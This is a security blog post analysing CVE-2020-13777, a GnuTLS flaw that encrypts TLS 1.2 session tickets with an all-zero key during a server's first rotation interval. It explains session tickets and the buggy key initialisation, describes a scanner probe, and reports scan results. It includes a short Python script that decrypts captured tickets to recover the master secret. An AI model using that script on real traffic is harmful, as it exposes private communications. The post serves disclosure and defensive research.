In unserem Blog veröffentlichen wir in unregelmäßigen Abständen Artikel zu verschiedenen Themen der IT-Sicherheit, wie z.B. Open Penetrationstests und anderen öffentlichen Gutachten.

This June a bug [1] in certain GnuTLS versions was found, which affects the security of session resumption when session tickets are used. The bug causes servers using this implementation, to encrypt session tickets with an all-zero key for the duration of the initial key rotation interval. Thus session tickets issued by a vulnerable server during its first hours of uptime can be decrypted. By default GnuTLS changes the key used for encryption of session tickets every 18 hours.

Affected by the bug is TLS 1.2 when session tickets (defined in RFC 5077 [2]) are used. The data obtained from the decrypted session ticket can be used to decrypt all (recorded) communication of the associated TLS session.


Background and Example

When a client connects to a server via TLS for the first time, a full handshake is performed. In this process all cryptographic parameters needed for a secure connection are established.

Session resumption is a term for mechanisms which store the cryptographic parameters along with certain other session information before closing the TLS connection. The stored parameters can be reused when the client reconnects to the server, which results in a abbreviated handshake and thus reduces the computation time in comparison to a full  handshake. 

Session tickets (defined in RFC 5077) are a session resumption mechanism which does not rely on storing any session information on the server. Instead the server encrypts the session information and sends it as a session ticket to the client. The client can store the session ticket and use it later to resume the session by sending it back to the server. This is done by using TLS extensions. 

To encrypt the session ticket the server uses a symmetric key, which must be kept private. RFC 5077 recommends changing the keys used for encrypting the session tickets regularly. 

It is crucial that only the server can decrypt the session ticket since it contains cryptographic parameters. The security of the data transmitted during the session is based on these parameters.

To demonstrate how session resumption works, we initialize a TLS handshake between OpenSSL as the client and gnutls-serv as the server by using the following commands: (Please note: Server.key and Server.cert must be generated beforehand.)

gnutls-serv --x509keyfile Server.key --x509certfile Server.cert -p 5555
openssl s_client -connect localhost:5555 -tls1_2 -sess_out session.cache

The session ticket contains all encrypted data needed by the server to resume a suspended session. Since this data is not accessible for the client, it is necessary for the client to store session data otherwise. OpenSSL stores the session data as a base64 encoded ASN.1 file (in this example labeled session.cache). The session ticket itself is stored as part of the session cache. In addition to the session ticket, the session cache contains all necessary data needed by the client to resume the session. This includes: 

  • Protocol version
  • Cipher suite 
  • Session ID
  • TLS master secret (labeled as “Master-Key” in Listing 1)
  • Lifetime of the session ticket
  • Session ticket

To parse the session data from the session.cache file, the following command can be used:

openssl sess_id -noout -text < session.cache

This yields to the following output: 

SSL-Session:
Protocol  : TLSv1.2
Cipher    : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: 530CD8DC59463BC9218E8DEA13F11E5DC9622D0F5EA99A27315C5837E85745E1
Session-ID-ctx: 
Master-Key: C8EB45EAA19D7DA6B2C87E41114858E82D89B74A91363F4C5BC7AC4BACD56E1AF1BBC6D3 04061C7F04AA8B12CBCD3FCF
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 21600 (seconds)
TLS session ticket:
0000 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0010 - 43 ec 74 8a 04 7f 29 c0-96 93 9d 64 12 26 79 7e   C.t...)....d.&y~
0020 - 01 50 ad 94 93 c1 48 37-4b b4 74 9e 78 76 de 54   .P....H7K.t.xv.T
0030 - 84 ca b6 90 c7 94 51 60-9e 3d 1b ad 09 ec 5f 6a   ......Q`.=...._j
0040 - 58 87 78 2e c9 7a 89 7a-5f d4 f6 14 25 21 b3 8c   X.x..z.z_...%!..
0050 - 9b c5 a7 37 6b 87 bd ef-98 a6 9f 10 67 03 92 c3   ...7k.......g...
0060 - ab 64 e5 23 f5 f0 5f dd-38 5f dc b5 75 5d 76 f4   .d.#.._.8_..u]v.
0070 - ae 34 f8 78 35 f0 57 02-3c 2f f1 c0 98 17 e4 8f   .4.x5.W.</......
0080 - be 57 c1 ec fc 07 24 bd-d6 c1 b8 43 bd 52 58 28   .W....$....C.RX(
0090 - 23 16 07 7f ba c7 4c bd-9d ec c6 f8 5d 56 43 4f   #.....L.....]VCO
00a0 - cb bc 24 76 f0 60 31 d2-e5 c2 6c 4c 12 8d 55 f3   ..$v.`1...lL..U.
00b0 - 12 3d ca 0d 8e b1 db 42-e6 67 f1 af 1a 15 73 49   .=.....B.g....sI
00c0 - 9a be da 67 7c 38 8e cd-e3 39 d5 43 fa f2 0f a1   ...g|8...9.C....
00d0 - ae 01 0b 83 4a 28 02 77-42 c1 a5 70 bc 3d a6 0d   ....J(.wB..p.=..
00e0 - 9d 41 b9 32 54 9b 2a ce-47 9e 47 40 55 70 ea f7   .A.2T.*.G.G@Up..
00f0 - b4 bf 49 08 b9 dd 54 05-65 4e f3 8c a9 bd f4 c5   ..I...T.eN......
0100 - 01 30 47 a9 22 f8 7a 29-72 05 ed 5d 68 77 67 3a   .0G.".z)r..]hwg:
0110 - f9 15 5d 4d b2 51 4d a1-f7 0d 63 5c 65 2d 66 25   ..]M.QM...c\e-f%
0120 - 0c 7d 40 f0 1a 82 51 a5-ea 52 0d 9e c2 a6 80 89   .}@...Q..R......
0130 - 03 d3 3a ac 8e d6 c0 05-01 bb 5a 4c 9a e2 53 a3   ..:.......ZL..S.
0140 - 92 56 39 67 6a f7 13 f7-ae 25 c0 6e 1a 0b 93 20   .V9gj....%.n... 
0150 - 49 23 84 df 5b 05 28 70-fd 6b eb c7 25 ed de 78   I#..[.(p.k..%..x
0160 - a8 b7 1a d0 fb f8 98 35-2c 84 9b 9c 03 61 ef 96   .......5,....a..
0170 - c0 5c e6 dd b9 85 46 12-4b 9d 32 00 45 ab 14 c8   .\....F.K.2.E...
0180 - 22 56 3e 90 db 69                                 "V>..i

Start Time: 1592150862
Timeout   : 7200 (sec)
Verify return code: 0 (ok)
Extended master secret: yes

Listing 1:  Example of the OpenSSL session.cache.

The plain master secret (Master-Key) in the session.cache is kept private by the client. However, the session ticket, which also contains the master secret, is transmitted over the network, so it is important that the session ticket is cryptographically protected.

As the structure of the session ticket appears opaque to the client, it is up to the server to decide which format and encryption method for the session ticket is used. A recommended format for session tickets is given in RFC 5077 (see Listing 2).

struct {
    opaque key_name[16];
    opaque iv[16];
    opaque encrypted_state<0..2^16-1>;
    opaque mac[32];
} ticket;

Listing 2: Structure of a session ticket recommended in RFC 5077 [2].

The fields of the ticket structure are:

  • A 16 Byte long key_name, which is used by the server to identify the key suited to decrypt the encrypted state with.
  • The 16 Byte iv associated with the encrypted state.
  • The encrypted_state, which contains all data needed by the server to resume the session, including the master secret.
  • A SHA1 HMAC, calculated over the previous fields.

The encrypted_state results from encrypting the StatePlaintext structure by using AES 256 in CBC mode for the encryption. 

GnuTLS follows the recommendations of RFC 5077 regarding the encryption method and the outer structure of session tickets (see Listing 2). However, the StatePlaintext structure used by GnuTLS is different and much more complex from the one recommended in RFC 5077 (see Listing 3). 

struct {
    ProtocolVersion protocol_version;
    CipherSuite cipher_suite;
    CompressionMethod compression_method;
    opaque master_secret[48];
    ClientIdentity client_identity;
    uint32 timestamp;
} StatePlaintext;

Listing 3: Structure of  the StatePlaintext recommended in RFC 5077 [2].

For example, the structure in GnuTLS starts with magic bytes and the master secret is at a different position in comparison to Listing 3. The structure used in GnuTLS is quite complex and not that important for understanding the bug. Interested readers can analyze the relevant code in the _gnutls_session_pack function.


Session Ticket Encryption and Key Derivation in GnuTLS

GnuTLS follows the recommendation of RFC 5077 by implementing a so-called rotation. This means it generates new session ticket encryption keys (also called STEKs) and uses each key for encrypting session tickets only for a certain time interval.

In GnuTLS each STEK is supposed to be derived from a ticket master key, which is randomly chosen as the server starts. The initial call hierarchy leading to the generation of the ticket master key is shown in Figure 1. 

Figure 1: Call hierarchy leading to the ticket master key initialization.

STEKs are generated inside the rotate function by feeding in the ticket master key and a time-dependent value to a SHA-3 hash function.

The time-dependent value used by the rotate function for the STEK derivation is generated by the function T and the function totp_next (see Figure 2).

T is a step function returning a constant value c_k when called during a time interval I_k.

When the totp_next function is called by the rotate function for the first time within a time interval I_{k},  the totp_next function returns a time-dependent value different from 0. This value is stored by the rotate function in the field session->key.totp.last_result. 

Any additional call of totp_next during the same time interval I_{k} returns 0 indicating that the time-dependent value stored in session->key.totp.last_result does not need to be updated. 

Figure 2: Call hierarchy for generating the time-dependent value used for the ticket key derivation.

Bug Details 

The bug causes servers to use an all-zero key (meaning all key bytes are zero) to encrypt session tickets for the duration of the initial key rotation interval. The crucial weakness here is that the key used during the initial key interval is known to an attacker. Thus session tickets issued by a vulnerable server during its first hours of uptime can be decrypted. 

Since the plain session ticket contains the decrypted master secret, securing the ticket confidentiality is of crucial importance. The master secret allows anybody to read previous communications between the server and the client, and to resume the previous session. 

The vulnerability during the first rotation interval is not based on a weak master ticket key but results from the fact that GnuTLS does not use the ticket master key to initialize the first STEK. This is caused by a bug in stek.c.

Once a rotation is performed, the master ticket key is used to derive the next STEK. Therefore knowing the initial all-zero state of the first STEK does not help in predicting STEKs for further rotation intervals. 

The stek.c file responsible for the STEK rotation, is where the bug is located. Each time an encryption of a session ticket is executed by GnuTLS, the function  _gnutls_get_session_ticket_encryption_key is called to fetch the STEK. Respectively the function _gnutls_get_session_ticket_decryption_key is used for fetching the STEK before decryption. 

When fetching the STEK, the rotate function is called as well. The rotate function checks whether a rotation is needed or not and updates the STEK accordingly. 

The _gnutls_initialize_session_ticket_key_rotation function is responsible for preparing the STEK before its first use. In vulnerable versions of GnuTLS this function initializes the last_result field without initializing the actual STEK. The recent bugfix makes sure that this function sets the value of last_result to 0 to indicate that the STEK is not initialized at this state. 

When the rotate function is called, it checks in conjunction with the totp_next function, if the last_result field is 0 and performs a rotation if this is the case. The procedure is as follows:

  1. The rotate function calls the top_next function.
  2. If last_result is 0, the totp_next function returns a time-dependent value greater than 0. 
  3. If and only if the rotate function receives a time-dependent value t greater than 0, a rotation is performed.

Since the bugfix makes sure the initial value of last_result is 0, the first call of the _gnutls_get_session_ticket_encryption_key function causes the initial rotation of the STEK and avoids that an all-zero key is used for encrypting session tickets.


The Attack - Decrypting TLS Sessions

An eavesdropper on the network can observe the transmission of the session ticket and decrypt its inner structure to obtain the TLS master secret from it by using an all-zero STEK.

You can play with such a scenario using Wireshark (see Figure 3). You can observe the TLS traffic, extract the encrypted ticket bytes (with the “copy as Hex Stream” functionality).

2020 07 gnutls wireshark Figure 3: The session ticket can be recorded and extracted using Wireshark.

After storing the bytes in a file, e.g., in sessionticket.txt,the encrypted state of the session ticket can be decrypted with the Python3 script depicted in Listing 4.

import codecs
from Crypto.Cipher import AES 

filename = "sessionticket.txt"
with open (filename,'r') as in_file :
  sessionTicketHex =  in_file.read() 

ivHex = sessionTicketHex[32:64]
ctLenHex = sessionTicketHex[64:68] 
ctHex =  sessionTicketHex[68:68+int(ctLenHex,16)*2]

ct = codecs.decode(ctHex,"hex")
key = codecs.decode(64*"0","hex")
iv = codecs.decode(ivHex,"hex")

cipher = AES.new(key, AES.MODE_CBC,iv)
pt = cipher.decrypt(ct)

print(pt.hex()[218:218+48*2]) # offsets were manually determined, do not even 
                              # attempt to understand the decrypted structure :)

Listing 4: Python3 script used to decrypt the state of the session ticket.

This results in the plaintext state of the session, from which the master secret can be extracted. To automatically extract the master secret from it, a specially suited parser would be needed. For this demonstration, we have manually determined the position of the master secret and adjusted the script accordingly.

The master secret can be used by an attacker to read and manipulate all transmitted data of the associated TLS session. This circumvents all the security goals of TLS: authenticity, integrity, and confidentiality. The decryption of data associated with a vulnerable session ticket is applicable for transmissions recorded at any point in time, which results in the loss of forward secrecy. The general issue that compromised STEKs undermine forward secrecy has already been pointed out in 2017 (see [3]).


TLS-Scanner

TLS-Scanner is a module of the TLS analysis tool “TLS-Attacker” developed by the Ruhr University Bochum, the Paderborn University, and the Hackmanit GmbH. TLS-Scanner evaluates TLS supporting websites and summarizes the results regarding attack vulnerabilities, supported protocol versions, common bugs, supported extensions, and other TLS related properties.

Probes for various known attacks are already implemented in TLS-Scanner. We extended TLS-Scanner by adding a probe for testing for the vulnerability presented in this blog post.

2020 07 gnutls tls scanner results Figure 4: Scan of a vulnerable server with TLS-Scanner.

Figure 4 shows the scanning results of a website that uses vulnerable session tickets. The probe initializes a full TLS handshake to obtain a session ticket issued by the server in question. After receiving the ticket, the probe tries to decrypt the encrypted state by using the all-zero key. If the decryption attempt does not fail due to an incorrect ticket format, the resulting plaintext is analyzed. The probe searches the plaintext for the master secret and reports the server as vulnerable in case it succeeds. Furthermore, the presence of the GnuTLS magic bytes at the start of the plaintext is checked.

In summary, the probe analyzes the following server characteristics:

  • Support for session tickets
  • Presence of the master secret in plaintext 
  • Presence of the GnuTLS magic bytes in plaintext


Alexa List Scan Results

We used TLS-Scanner to scan the Alexa Top 1 Million Websites for CVE-2020-13777.

Surprise surprise. No vulnerable servers were found. Luckily :)

This does not necessary mean that none of these servers runs a vulnerable version of GnuTLS. The scan just shows no server running a vulnerable version has an uptime below the duration of its first rotation interval.

In the near future, we plan to analyze further implementations and complement our scans with further features. Stay tuned.

P.S. If you are interested to write a master thesis on this topic in Paderborn or Bochum supervised by Robert Merget and Prof. Dr. Juraj Somorovsky, contact us.


[1] CVE-2020-13777: TLS 1.3 session resumption works without master key, allowing MITM. 2020. URL: https://gitlab.com/gnutls/gnutls/-/issues/1011.

[2] J. Salowey et al. Transport Layer Security (TLS) Session Resumption without Server-Side State. RFC 5077 (Proposed Standard). Internet Engineering Task Force , 2008. URL: https://tools.ietf.org/html/rfc5077.

[3] Filippo Valsorda. We need to talk about Session Tickets. 2017. URL: https://blog.filippo.io/we-need-to-talk-about-session-tickets/.